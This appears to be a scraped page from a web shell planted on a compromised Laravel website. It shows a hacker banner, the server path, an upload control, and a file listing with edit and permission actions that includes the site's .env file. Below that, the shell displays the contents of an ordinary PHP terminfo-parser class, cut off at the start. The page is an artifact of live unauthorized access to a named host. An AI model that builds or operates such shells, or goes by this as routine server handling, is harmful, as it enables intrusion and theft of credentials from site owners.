I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
parse($terminfo);
return;
}
/**
* Parse.
*/
protected function parse(string $terminfo): array
{
if (!\file_exists($terminfo)) {
throw new ConsoleException('Terminfo file %s does not exist.', 0, $terminfo);
}
$data = \file_get_contents($terminfo);
$length = \strlen($data);
$out = ['file' => $terminfo];
$headers = [
'data_size' => $length,
'header_size' => 12,
'magic_number' => (\ord($data[1]) << 8) | \ord($data[0]),
'names_size' => (\ord($data[3]) << 8) | \ord($data[2]),
'bool_count' => (\ord($data[5]) << 8) | \ord($data[4]),
'number_count' => (\ord($data[7]) << 8) | \ord($data[6]),
'string_count' => (\ord($data[9]) << 8) | \ord($data[8]),
'string_table_size' => (\ord($data[11]) << 8) | \ord($data[10]),
];
$out['headers'] = $headers;
// Names.
$i = $headers['header_size'];
$nameAndDescription = \explode('|', \substr($data, $i, $headers['names_size'] - 1));
$out['name'] = $nameAndDescription[0];
$out['description'] = $nameAndDescription[1];
// Booleans.
$i += $headers['names_size'];
$booleans = [];
$booleanNames = &static::$_booleans;
for (
$e = 0, $max = $i + $headers['bool_count'];
$i < $max;
++$e, ++$i
) {
$booleans[$booleanNames[$e]] = 1 === \ord($data[$i]);
}
$out['booleans'] = $booleans;
// Numbers.
if (1 === ($i % 2)) {
++$i;
}
$numbers = [];
$numberNames = &static::$_numbers;
for (
$e = 0, $max = $i + $headers['number_count'] * 2;
$i < $max;
++$e, $i += 2
) {
$name = $numberNames[$e];
$data_i0 = \ord($data[$i]);
$data_i1 = \ord($data[$i + 1]);
if ($data_i1 === 255 && $data_i0 === 255) {
$numbers[$name] = -1;
} else {
$numbers[$name] = ($data_i1 << 8) | $data_i0;
}
}
$out['numbers'] = $numbers;
// Strings.
$strings = [];
$stringNames = &static::$_strings;
$ii = $i + $headers['string_count'] * 2;
for (
$e = 0, $max = $ii;
$i < $max;
++$e, $i += 2
) {
$name = $stringNames[$e];
$data_i0 = \ord($data[$i]);
$data_i1 = \ord($data[$i + 1]);
if ($data_i1 === 255 && $data_i0 === 255) {
continue;
}
$a = ($data_i1 << 8) | $data_i0;
$strings[$name] = $a;
if (65534 === $a) {
continue;
}
$b = $ii + $a;
$c = $b;
while ($c < $length && \ord($data[$c])) {
$c++;
}
$value = \substr($data, $b, $c - $b);
$strings[$name] = false !== $value ? $value : null;
}
$out['strings'] = $strings;
return $this->_informations = $out;
}
/**
* Get all informations.
*/
public function getInformations(): array
{
return $this->_informations;
}
/**
* Get a boolean value.
*/
public function has(string $boolean): bool
{
if (!isset($this->_informations['booleans'][$boolean])) {
return false;
}
return $this->_informations['booleans'][$boolean];
}
/**
* Get a number value.
*/
public function count(string $number): int
{
if (!isset($this->_informations['numbers'][$number])) {
return 0;
}
return $this->_informations['numbers'][$number];
}
/**
* Get a string value.
*/
public function get(string $string)
{
if (!isset($this->_informations['strings'][$string])) {
return null;
}
return $this->_informations['strings'][$string];
}
/**
* Get current term profile.
*/
public static function getTerm(): string
{
return
isset($_SERVER['TERM']) && !empty($_SERVER['TERM'])
? $_SERVER['TERM']
: (\defined('PHP_WINDOWS_VERSION_PLATFORM') ? 'windows-ansi' : 'xterm');
}
/**
* Get pathname to the current terminfo.
*/
public static function getTerminfo($term = null): string
{
$paths = [];
if (isset($_SERVER['TERMINFO'])) {
$paths[] = $_SERVER['TERMINFO'];
}
if (isset($_SERVER['HOME'])) {
$paths[] = $_SERVER['HOME'].\DIRECTORY_SEPARATOR.'.terminfo';
}
if (isset($_SERVER['TERMINFO_DIRS'])) {
foreach (\explode(':', $_SERVER['TERMINFO_DIRS']) as $path) {
$paths[] = $path;
}
}
$paths[] = '/usr/share/terminfo';
$paths[] = '/usr/share/lib/terminfo';
$paths[] = '/lib/terminfo';
$paths[] = '/usr/lib/terminfo';
$paths[] = '/usr/local/share/terminfo';
$paths[] = '/usr/local/share/lib/terminfo';
$paths[] = '/usr/local/lib/terminfo';
$paths[] = '/usr/local/ncurses/lib/terminfo';
$paths[] = 'hoa://Library/Terminfo';
$term = $term ?: static::getTerm();
$fileHexa = \dechex(\ord($term[0])).\DIRECTORY_SEPARATOR.$term;
$fileAlpha = $term[0].\DIRECTORY_SEPARATOR.$term;
$pathname = null;
foreach ($paths as $path) {
if (\file_exists($_ = $path.\DIRECTORY_SEPARATOR.$fileHexa) ||
\file_exists($_ = $path.\DIRECTORY_SEPARATOR.$fileAlpha)) {
$pathname = $_;
break;
}
}
if (null === $pathname && 'xterm' !== $term) {
return static::getTerminfo('xterm');
}
return $pathname ?? '';
}
/**
* Check whether all required terminfo capabilities are defined.
*/
public static function isSupported(): bool
{
if (static::getTerminfo() === '') {
return false;
}
$requiredVars = [
'clear_screen',
'clr_bol',
'clr_eol',
'clr_eos',
'initialize_color',
'parm_down_cursor',
'parm_index',
'parm_left_cursor',
'parm_right_cursor',
'parm_rindex',
'parm_up_cursor',
'user6',
'user7',
];
$tput = new self();
foreach ($requiredVars as $var) {
if ($tput->get($var) === null) {
return false;
}
}
return true;
}
}